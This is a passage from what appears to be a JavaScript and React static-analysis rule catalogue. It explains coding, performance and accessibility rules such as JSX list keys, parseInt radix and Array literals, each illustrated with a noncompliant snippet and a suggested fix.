      { props.orders && <Orders /> } { /* Noncompliant: 0 will be rendered if no orders available */ }
      </div>;
      }
      ```

      ```javascript Fix theme={null}
      function Profile(props) {
      return <div>
      <h1>{ props.username }</h1>
      { props.orders > 0 && <Orders /> }
      </div>;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Prefer tag over ARIA role">
    <div class="paragraph">
      <p>ARIA (Accessible Rich Internet Applications) roles are used to make web content and web applications more accessible to people with disabilities. However, you should not use an ARIA role on a generic element (like span or div) if there is a semantic HTML tag with similar functionality, just use that tag instead.</p>
    </div>

    <div class="paragraph">
      <p>For example, instead of using a div element with a button role (\<div role="button">Click me\</div>), you should just use a button element (\<button>Click me\</button>).</p>
    </div>

    <div class="paragraph">
      <p>Semantic HTML tags are generally preferred over ARIA roles for accessibility due to their built-in functionality, universal support by browsers and assistive technologies, simplicity, and maintainability. They come with inherent behaviors and keyboard interactions, reducing the need for additional JavaScript. Semantic HTML also enhances SEO by helping search engines better understand the content and structure of web pages. While ARIA roles are useful, they should be considered a last resort when no suitable HTML element can provide the required behavior or semantics.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <div role="button" onClick={handleClick}>Click me</div>
      ```

      ```javascript Fix theme={null}
      <button onClick={handleClick}>Click me</button>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="String references should not be used">
    <div class="paragraph">
      <p>React Refs provide a way to access DOM nodes or React elements created in the render method.</p>
    </div>

    <div class="paragraph">
      <p>Older React versions allowed the ref attribute to be a string, like "textInput", later accessible as this.refs.textInput. This is considered legacy code due to multiple reasons:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>String refs make React slower as they force React to keep track of what component is currently executing.</p>
        </li>

        <li>
          <p>String refs are not composable: if a library puts a ref on the passed child, the user can’t put another ref on it.</p>
        </li>

        <li>
          <p>The owner of a string ref is determined by the currently executing component.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const Hello = createReactClass({
      componentDidMount() {
      const component = this.refs.hello; // Noncompliant
      // ...
      },
      render() {
      return <div ref="hello">Hello, world.</div>;
      }
      });
      ```

      ```javascript Fix theme={null}
      const Hello = createReactClass({
      componentDidMount() {
      const component = this.hello;
      // ...
      },
      render() {
      return <div ref={(c) => { this.hello = c; }}>Hello, world.</div>;
      }
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="The base should be provided to parseInt">
    <div class="paragraph">
      <p>The <code>parseInt</code> function has two versions, one that takes a base value as a second argument, and one that does not. Unfortunately using the single-arg version can result in unexpected results on older browsers.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      parseInt("010");  // Noncompliant; pre-2013 browsers may return 8
      ```

      ```javascript Fix theme={null}
      parseInt("010", 10);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Comments inside JSX expressions should be enclosed in curly braces">
    <div class="paragraph">
      <p>JSX lets you write HTML-like markup inside a JavaScript file, commonly used in React.</p>
    </div>

    <div class="paragraph">
      <p>Adding comments inside JSX might be tricky as JSX code is neither a plain HTML nor JavaScript.</p>
    </div>

    <div class="paragraph">
      <p>HTML comments (<code>\<!-- comment here --></code>) are not valid syntax in JSX.</p>
    </div>

    <div class="paragraph">
      <p>JavaScript-style comments, single or multiline, will create an additional text node in the browser, which is probably not expected.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <div>
      // Noncompliant: text inside node
      </div>
      ```

      ```javascript Fix theme={null}
      <div>
      {
      /*
        multi-line
        comment
      */
      }
      {
      // single-line comment
      }
      { /* short form comment */ }
      </div>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Mouse events should have corresponding keyboard events">
    <div class="paragraph">
      <p>Offering the same experience with the mouse and the keyboard allow users to pick their preferred devices.</p>
    </div>

    <div class="paragraph">
      <p>Additionally, users of assistive technology will also be able to browse the site even if they cannot use the mouse.</p>
    </div>

    <div class="paragraph">
      <p>This rules detects the following issues:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>when onClick is not accompanied by at least one of the following: onKeyUp, onKeyDown, onKeyPress.</p>
        </li>

        <li>
          <p>when onmouseover/onmouseout are not paired by onfocus/onblur.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <div onClick={() => {}} />

      <div onMouseOver={ () => {}} }  />
      ```

      ```javascript Fix theme={null}
      <div onClick={() => {}} onKeyDown={this.handleKeyDown} />

      <div onMouseOver={ () => {} } onFocus={ () => {} } />
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Parameters should be passed in the correct order">
    <div class="paragraph">
      <p>Consistent naming between arguments and parameters reduces the chances of making mistakes, such as passing the wrong value to a parameter or omitting an argument in a function call. When the names of arguments in a function call match the names of the function parameters, it contributes to clearer, more readable code.</p>
    </div>

    <div class="paragraph">
      <p>However, when the names match but are passed in a different order than their declaration in the function signature, it may indicate a mistake in the parameter order, likely leading to unexpected results.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function divide(dividend, divisor) {
      return dividend / divisor;
      }

      function doTheThing() {
      const dividend = 15;
      const divisor = 5;

      const result = divide(divisor, dividend); // Noncompliant: not the expected result
      //...
      }
      ```

      ```javascript Fix theme={null}
      function divide(dividend, divisor) {
      return dividend / divisor;
      }

      function doTheThing() {
      const dividend = 15;
      const divisor = 5;

      const result = divide(dividend, divisor);
      //...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unused React typed props should be removed">
    <div class="paragraph">
      <p>Leaving unused props in a React component can make the code harder to understand and maintain. Other developers may wonder why certain props are passed to a component if they are not used. Unused props can also increase the size of the component’s memory footprint and impact performance. This is especially true if the unused props are large objects or arrays. Furthermore, if a prop is unused, it may indicate that the developer did not complete the implementation as he intended initially or made a mistake while writing the component.</p>
    </div>

    <div class="paragraph">
      <p>To avoid these issues, you should remove any unused props from React components. This helps keep the codebase clean, improves performance, and enhances code readability.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import PropTypes from 'prop-types';
      import React from 'react';

      class Hello extends React.Component {
      render() {
      return (
        <h1>Hello</h1>
      );
      }
      }

      Hello.propTypes = {
      name: PropTypes.string
      };
      ```

      ```javascript Fix theme={null}
      import PropTypes from 'prop-types';
      import React from 'react';

      class Hello extends React.Component {
      render() {
      return (
        <h1>Hello {this.props.name}</h1>
      );
      }
      }

      Hello.propTypes = {
      name: PropTypes.string
      };
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Template literals should not be nested">
    <div class="paragraph">
      <p>Template literals, also known as template strings, allow for string interpolation and multiline strings in JavaScript. They provide a more convenient and flexible way to work with strings compared to traditional string concatenation or manipulation.</p>
    </div>

    <div class="paragraph">
      <p>Template literals are delimited with the backtick <code>()</code> character. They are a convenient way to include variables or expressions within a string using placeholders \$\{expression}\` in the string and evaluate them dynamically.</p>
    </div>

    <div class="paragraph">
      <p>However, nesting template literals can make the code less readable. With each nested template literal, the code becomes more complex and harder to understand. It can be challenging to keep track of the opening and closing backticks and properly escape characters if needed.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const color = "red";
      const count = 3;
      const message = `I have ${color ? `${count} ${color}` : count} apples`; // Noncompliant: nested template strings not easy to read
      ```

      ```javascript Fix theme={null}
      const color = "red";
      const count = 3;
      const apples = color ? `${count} ${color}` : count;
      const message = `I have ${apples} apples`;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unnecessary imports should be removed">
    <div class="paragraph">
      <p>Unnecessary imports refer to importing modules, libraries, or dependencies that are not used or referenced anywhere in the code. These imports do not contribute to the functionality of the application and only add extra weight to the JavaScript bundle, leading to potential performance and maintainability issues.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import A from 'a'; // Noncompliant: The imported symbol 'A' isn't used
      import { B1 } from 'b';

      console.log(B1);
      ```

      ```javascript Fix theme={null}
      import { B1 } from 'b';

      console.log(B1);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="for...in loops should filter properties before acting on them">
    <div class="paragraph">
      <p>The \`for...in statement allows you to loop through the names of all of the properties of an object. The list of properties includes all those properties that were inherited through the prototype chain. This has the side effect of serving up functions when the interest is in data properties. Programs that don’t take this into account can fail.</p>
    </div>

    <div class="paragraph">
      <p>Therefore, the body of every for...in statement should be wrapped in an if\` statement that filters which properties are acted upon. It can select for a particular type or range of values, or it can exclude functions, or it can exclude properties from the prototype.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      for (name in object) {
      doSomething(name);  // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      for (name in object) {
      if (object.hasOwnProperty(name)) {
      doSomething(name);
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Element type selectors should not be used with class selectors">
    <div class="paragraph">
      <p>Using element type in class selectors is slower than using only the class selector.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var $products = $("div.products");    // Noncompliant - slow
      ```

      ```javascript Fix theme={null}
      var $products = $(".products");    // Compliant - fast
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Array literals should be used">
    <div class="paragraph">
      <p>Instead of creating an array and then setting its items one by one, creation an initialization can - and should - happen all in one step. Doing so results in clearer code and eliminates the possibility that an item might be accidentally overwritten or left uninitialized.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var colors = [];  // Noncompliant
      colors[1] = "red";  // Oops! Explicit initialization means that the 0th element is left empty
      colors[2] = "green";
      colors[2] = "blue"; // Oops again! "green" overwritten
      ```

      ```javascript Fix theme={null}
      var colors = ["red","green","blue"];
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Return of boolean expressions should not be wrapped into an if-then-else statement">
    <div class="paragraph">
      <p>The \`if...else statement is used to make decisions based on the truthiness of a boolean expression, and the if block executes when the expression is truthy, while the else block executes when the expression is falsy.</p>
    </div>

    <div class="paragraph">
      <p>Wrapping a boolean expression in an if...else statement and returning true or false\` in the respective blocks is redundant and unnecessary. It can also make the code harder to maintain, as it adds unnecessary lines of code that need to be read and understood.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (expression) {  
      return true;
      } else {
      return false;
      }
      ```

      ```javascript Fix theme={null}
      return expression;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Array constructors should not be used">
    <div class="paragraph">
      <p>Array literals should always be preferred to Array constructors.</p>
    </div>

    <div class="paragraph">
      <p>Array constructors are error-prone due to the way their arguments are interpreted. If more than one argument is used, the array length will be equal to the number of arguments. However, using a single argument will have one of three consequences:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>If the argument is a number and it is a natural number the length will be equal to the value of the argument.</p>
        </li>
      </ul>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>let arr = new Array(3); // \[empty × 3]</pre>
      </div>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>If the argument is a number, but not a natural number an exception will be thrown.</p>
        </li>
      </ul>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>let arr = new Array(3.14);  // RangeError: Invalid array length</pre>
      </div>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Otherwise the array will have one element with the argument as its value.</p>
        </li>
      </ul>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>let arr = new Array("3");  // \["3"]</pre>
      </div>
    </div>

    <div class="paragraph">
      <p>Note that even if you set the length of an array, it will be empty. That is, it will have the number of elements you declared, but they won’t contain anything, so no callbacks will be applied to the array elements.</p>
    </div>

    <div class="paragraph">
      <p>For these reasons, if someone changes the code to pass 1 argument instead of 2 arguments, the array might not have the expected length. To avoid these kinds of weird cases, always use the more readable array literal initialization format.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      let myArray = new Array(x1, x2, x3);   // Noncompliant. Results in 3-element array.
      let emptyArray = new Array();          // Noncompliant. Results in 0-element array.

      let unstableArray = new Array(n);      // Noncompliant. Variable in results.

      let arr = new Array(3); // Noncompliant; empty array of length 3
      arr.foreach((x) => alert("Hello " + x)); // callback is not executed because there's nothing in arr
      let anotherArr = arr.map(() => 42); // anotherArr is also empty because callback didn't execute
      ```

      ```javascript Fix theme={null}
      let myArray = [x1, x2, x3];
      let emptyArray = [];

      // if "n" is the only array element 
      let unstableArray = [n];
      // or,  if "n" is the array length (since ES 2015)
      let unstableArray = Array.from({length: n});

      let arr = ["Elena", "Mike", "Sarah"];
      arr.foreach((x) => alert("Hello " + x));
      let anotherArr = arr.map(() => 42);  // anotherArr now holds 42 in each element
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Optional chaining should not be used if returning undefined throws an error">
    <div class="paragraph">
      <p>The optional chaining operator ?. allows to access a deeply nested property, returning undefined if the property or any intermediate object is undefined.</p>
    </div>

    <div class="paragraph">
      <p>This usually means that the expression is expected to evaluate as undefined in some cases. Therefore, using the optional chaining operator in a context where returning undefined throws an error can lead to runtime exceptions.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      (event?.callback)(); // Noncompliant: when 'event' does not have 'callback' property TypeError is thrown
      const { code } = event?.error; // Noncompliant: when 'event' does not have 'error' property TypeError is thrown
      func(...event?.values); // Noncompliant: when 'event' does not have 'values' property TypeError is thrown
      ```

      ```javascript Fix theme={null}
      (event?.callback ?? defaultCallback)();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="undefined should not be assigned">
    <div class="paragraph">
      <p><code>undefined is the value you get for variables and properties which have not yet been created. Use the same value to reset an existing variable and you lose the ability to distinguish between a variable that exists but has no value and a variable that does not yet exist. Instead, null</code> should be used, allowing you to tell the difference between a property that has been reset and one that was never created.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var myObject = {};

      // ...
      myObject.fname = undefined;  // Noncompliant
      // ...

      if (myObject.lname == undefined) {
      // property not yet created
      }
      if (myObject.fname == undefined) {
      // no real way of knowing the true state of myObject.fname
      }
      ```

      ```javascript Fix theme={null}
      var myObject = {};

      // ...
      myObject.fname = null;
      // ...

      if (myObject.lname == undefined) {
      // property not yet created
      }
      if (myObject.fname == undefined) {
      // no real way of knowing the true state of myObject.fname
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="ReactJS class names should follow the ReactJS naming convention">
    <div class="paragraph">
      <p>Shared coding conventions allow teams to collaborate effectively. This rule checks that classes extending <code>React.PureComponent or React.Component</code> are named with UpperCamelCase (aka PascalCase).</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      export default class my-super-component extends React.PureComponent { // Noncompliant
      ...
      }
      ```

      ```javascript Fix theme={null}
      export default class MySuperComponent extends React.PureComponent {
      ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="JSX list components should have a key property">
    <div class="paragraph">
      <p>To optimize the rendering of React list components, a unique identifier (UID) is required for each list item. This UID lets React identify the item throughout its lifetime. To provide it, use the key attribute of the list item. When the key attribute is missing, React will default to using the item’s index inside the list component. If the element ordering changes, it will cause keys to not match up between renders, recreating the DOM. It can negatively impact performance and may cause issues with the component state.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function Blog(props) {
      return (
      <ul>
        {props.posts.map((post) =>
          <li> <!-- Noncompliant: When 'posts' are reordered, React will need to recreate the list DOM -->
            {post.title}
          </li>
        )}
      </ul>
      );
      }
      ```

      ```javascript Fix theme={null}
      function Blog(props) {
      return (
      <ul>
        {props.posts.map((post) =>
          <li key={post.id}> <!-- Compliant: id will always be the same even if 'posts' order changes -->
            {post.title}
          </li>
        )}
      </ul>
      );
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Loops should not be infinite">
    <div class="paragraph">
      <p>A loop is a control structure that allows a block of code to be executed repeatedly until a certain condition is met. The basic idea behind a loop is to automate repetitive tasks, such as iterating over a collection of data or performing a calculation multiple times with different inputs.</p>
    </div>

    <div class="paragraph">
      <p>An infinite loop is a loop that runs indefinitely without ever terminating. In other words, the loop condition is always true, and the loop never exits. This can happen when the loop condition is not defined or when the loop condition is never met.</p>
    </div>

    <div class="paragraph">
      <p>Infinite loops can cause a program to hang or crash, as the program will continue to execute the loop indefinitely.</p>
    </div>

    <div class="paragraph">
      <p>This rule will raise an issue on for, while and <code>do...while</code> loops where no clear exit condition has been found.</p>
    </div>

    <div class="paragraph">
      <p>There are some known limitations for this rule:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>False positives: when an exception is raised by a function invoked within the loop.</p>
        </li>

        <li>
          <p>False negatives: when a loop condition is based on an element of an array or object.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      for (;;) {  // Noncompliant: end condition omitted
      // ...
      }

      let j = 0;
      while (true) { // Noncompliant: constant end condition
      j++;
      }

      let k;
      let b = true;
      while (b) { // Noncompliant: constant end condition
      k++;
      }
      ```

      ```javascript Fix theme={null}
      for (let i = 0; i < 5; i++) {
      // ...
      }

      let j = 0;
      while (true) {
      j++;
      if (j < 5) {
      break;
      }
      }

      let k;
      let b = true;
      while (b) {
      k++;
      b = k < 10;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Redundant React fragments should be removed">
    <div class="paragraph">
      <p>React fragments are a feature in React that allows you to group multiple elements together without adding an extra DOM element. They are a way to return multiple elements from a component’s render method without requiring a wrapping parent element.</p>
    </div>

    <div class="paragraph">
      <p>However, a fragment is redundant if it contains only one child, or if it is the child of an HTML element.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <><Foo /></>;    // Noncompliant: The fragment has only one child
      <p><>foo</></p>; // Noncompliant: The fragment is the child of the HTML element 'p'
      ```

      ```javascript Fix theme={null}
      <Foo />;
      <p>foo</p>;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Wrapper objects should not be used for primitive types">
    <div class="paragraph">
      <p>The JavaScript wrapper objects Number, String, and Boolean provide a way to work with their respective primitive types (number, string and boolean) as objects.</p>
    </div>

    <div class="paragraph">
      <p>Using wrapper can lead to unexpected behavior due to the differences in how they are compared and used in operations compared to primitive types. It can also lead to unnecessary memory allocation and slower code execution.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let x = new Number("0"); // Noncompliant: x is an object, not a primitive
      if (x) {
      alert('hi');  // Shows 'hi'.
      }
      ```

      ```javascript Fix theme={null}
      let x = Number("0");
      if (x) {
      alert('hi');
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Media elements should have captions">
    <div class="paragraph">
      <p>Captions in HTML media elements are text versions of the audio content, synchronized with the video. They are essential for individuals who are deaf or hard of hearing, as they provide a text alternative for the audio information. They can also be beneficial for individuals who are not native speakers of the language of the video, or for situations where the audio cannot be heard.</p>
    </div>

    <div class="paragraph">
      <p>In the context of accessibility, providing captions for media elements is a requirement under the Web Content Accessibility Guidelines (WCAG). Without captions, you are excluding a portion of your audience who rely on them to understand the content of your media.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <audio {...props} />; // Noncompliant
      <video {...props} />; // Noncompliant
      ```

      ```javascript Fix theme={null}
      <audio><track kind="captions" {...props} /></audio>
      <video><track kind="captions" {...props} /></video>
      <video muted {...props} ></video>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Curly braces should be used consistently in templates">
    <div class="paragraph">
      <p>Shared coding conventions allow teams to collaborate effectively. This rule raises an issue when the use of spaces within a template does not conform to the configured style.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      `Hello, ${world }!`; // Noncompliant
      ```

      ```javascript Fix theme={null}
      `Hello, ${world}!`;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Variables should be defined before being used">
    <div class="paragraph">
      <p>When a non-existent variable is referenced a \`ReferenceError is raised.</p>
    </div>

    <div class="paragraph">
      <p>Due to the dynamic nature of JavaScript this can happen in a number of scenarios:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>When typo was made in a symbol’s name.</p>
        </li>

        <li>
          <p>When using variable declared with let or const before declaration (unlike var-declarations, they are not hoisted to the top of the scope).</p>
        </li>

        <li>
          <p>Due to confusion with scopes of let- and const-declarations (they have block scope, unlike var-declarations, having function scope).</p>
        </li>

        <li>
          <p>When accessing a property in the wrong scope (e.g. forgetting to specify this.).</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>This rule does not raise issues on global variables which are defined with sonar.javascript.globals and sonar.javascript.environments\` properties.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var john = { 
      firstName: "john", 
      show: function() { console.log(firstName); } // Noncompliant: firstName is not defined
      }
      john.show();
      ```

      ```javascript Fix theme={null}
      var john = { 
      firstName: "john", 
      show: function() { console.log(this.firstName); }
      }
      john.show();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Properties of variables with null or undefined values should not be accessed">
    <div class="paragraph">
      <p>In JavaScript, null and undefined are primitive values that do not have properties or methods. When accessing a property on a null or undefined value, JavaScript tries to access the property of an object that does not exist, which results in a TypeError.</p>
    </div>

    <div class="paragraph">
      <p>This can cause the program to crash or behave unexpectedly, which can be difficult to debug.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let foo = null;
      console.log(foo.bar); // Noncompliant: TypeError will be thrown
      ```

      ```javascript Fix theme={null}
      let foo;
      if (foo != null) {
      console.log(foo.bar);
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Type predicates should be used">
    <div class="paragraph">
      <p>A type guard is a TypeScript feature that allows you to narrow the type of a variable within a conditional block of code. It is a way to tell the TypeScript compiler that an expression is of a certain type, based on some condition that you check at runtime.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function printLength(x: any) {
      if (typeof x === 'string') {
      console.log(x.length);
      }
      }
      ```

      ```javascript Fix theme={null}
      function isString(x: any): x is string {
      return typeof x === 'string';
      }

      function printLength(x: any) {
      if (isString(x)) {
      console.log(x.length);
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="JSX list components should not use array indexes as key">
    <div class="paragraph">
      <p>To optimize the rendering of React list components, a unique identifier (UID) is required for each list item. This UID lets React identify the item throughout its lifetime. Avoid array indexes since the order of the items may change, which will cause keys to not match up between renders, recreating the DOM. It can negatively impact performance and may cause issues with the component state.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function Blog(props) {
      return (
      <ul>
        {props.posts.map((post, index) =>
          <li key={index}> <!-- Noncompliant: When 'posts' are reordered, React will need to recreate the list DOM -->
            {post.title}
          </li>
        )}
      </ul>
      );
      }
      ```

      ```javascript Fix theme={null}
      function Blog(props) {
      return (
      <ul>
        {props.posts.map((post) =>
          <li key={post.id}>
            {post.title}
          </li>
        )}
      </ul>
      );
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Prototypes of builtin objects should not be modified">
    <div class="paragraph">
      <p>By default, JavaScript allows you to modify native object prototypes, such as Array, String, Object, and so on. This means you can add new properties or methods to native objects or override existing ones. While this flexibility can be useful in some instances, it can lead to unexpected behavior, bugs, and compatibility issues.</p>
    </div>

    <div class="paragraph">
      <p>The rule forbids extending or modifying native JavaScript objects or prototypes, as prototypes of builtin objects should not be modified altogether.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      Object.prototype.universe = 42;
      Object.defineProperty(Array.prototype, "size", { value: 0 });
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Non-existent properties should not be read">
    <div class="paragraph">
      <p>Reading a non-existent property on an object always returns \`undefined. Doing so is usually an error; either in the name of the property or the type of the variable being accessed.</p>
    </div>

    <div class="paragraph">
      <p>If an attempt is made to access properties of a primitive, the primitive is automatically encased in a primitive-wrapper object for the operation. But being "promoted" to an object doesn’t mean that the primitive will actually have properties to access. The wrapper object still won’t have the non-existent property and undefined will be returned instead.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when an attempt is made to access properties of a primitive. Thus this rule should only be activated when you don’t use monkey patching for standard objects, like Number, Boolean and String\`.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      x = 42;
      y = x.length;   // Noncompliant, Number type doesn't have "length" property
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Binary expressions should not always return the same value">
    <div class="paragraph">
      <p>An expression that always produces the same result, regardless of the inputs, is unnecessary and likely indicates a programmer’s error. This can come from</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>confusing operator precedence</p>
        </li>

        <li>
          <p>expecting strict equality between different types</p>
        </li>

        <li>
          <p>expecting objects to be compared by value</p>
        </li>

        <li>
          <p>expecting empty objects to be false or null</p>
        </li>

        <li>
          <p>mistyping >= for ⇒</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>This can also happen when you put an assignment in a logical sub-expression. While not strictly a bug, this practice is confusing and should be avoided.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      !foo == null;
      a + b ?? c; 
      x === [];
      (foo=0) && bar;
      ```

      ```javascript Fix theme={null}
      foo != null;
      a + (b ?? c);
      x.length === 0;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="RegExp.exec() should be preferred over String.match()">
    <div class="paragraph">
      <p>String.match() behaves the same way as RegExp.exec() when the regular expression does not include the global flag g. While they work the same, RegExp.exec() can be slightly faster than String.match(). Therefore, it should be preferred for better performance.</p>
    </div>

    <div class="paragraph">
      <p>The rule reports an issue on a call to String.match() whenever it can be replaced with semantically equivalent RegExp.exec().</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      'foo'.match(/bar/);
      ```

      ```javascript Fix theme={null}
      /bar/.exec('foo');
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Comma and logical OR operators should not be used in switch cases">
    <div class="paragraph">
      <p>The use of the comma operator and logical OR (||) operator within switch cases is not recommended. The switch statement is designed to evaluate a single expression and compare it against multiple values. When you use the comma operator or logical OR operator within a case, you’re essentially trying to match multiple values or conditions simultaneously: only the rightmost value will ever be considered with the comma operator, and the first truthy operand will be handled with the logical OR operator.</p>
    </div>

    <div class="paragraph">
      <p>This behavior is not well-defined and can lead to unexpected results.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      switch (a) {
      case 1, 2:   // Noncompliant: only 2 is matched by this case
      doTheThing(a);
      case 3 || 4: // Noncompliant: only 3 is matched by this case
      doThatThing(a);
      case 5:
      doTheOtherThing(a);
      default:
      console.log('Neener, neener!');
      }
      ```

      ```javascript Fix theme={null}
      switch (a) {
      case 1:
      case 2:
      doTheThing(a);
      case 3:
      case 4:
      doThatThing(a);
      case 5:
      doTheOtherThing(a);
      default:
      console.log('Neener, neener!');
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Promises should not be misused">
    <div class="paragraph">
      <p>Promises need to be resolved or awaited to return the expected value, otherwise, they return the promise object.</p>
    </div>

    <div class="paragraph">
      <p><span class="underline"><strong>Unresolved promises:</strong></span></p>
    </div>

    <div class="paragraph">
      <p>Forgetting to await a promise is a frequent mistake. There are places where the use of a promise object is confusing or unclear because the developer forgot to resolve it.</p>
    </div>

    <div class="paragraph">
      <p>This rule forbids returning promises where another type is expected such as in:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>conditionals</p>
        </li>

        <li>
          <p>void returns</p>
        </li>

        <li>
          <p>spread operators</p>
        </li>
      </ul>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      await new Promise(resolve => time.setTimeout(1000));
      ```

      ```javascript Fix theme={null}
      (async function foo() {
      const result = await bar();
      // work with result
      })();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Callbacks of array methods should have return statements">
    <div class="paragraph">
      <p>In JavaScript, many array methods take a callback function as an argument. These methods are designed to transform or filter arrays based on the logic provided in the callback function. The callback function is called sequentially, and the return value of the callback function is used to determine the return value of the Array method.</p>
    </div>

    <div class="paragraph">
      <p>If the callback function does not return a value, the array method may not work as expected and is most likely a mistake.</p>
    </div>

    <div class="paragraph">
      <p>This rule applies to the following methods of an array:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from">\`Array.from</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every">Array.prototype.every</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter">Array.prototype.filter</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find">Array.prototype.find</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findLast">Array.prototype.findLast</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex">Array.prototype.findIndex</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findLastIndex">Array.prototype.findLastIndex</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">Array.prototype.map</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/flatMap">Array.prototype.flatMap</a></p>
        </li>

        <li>
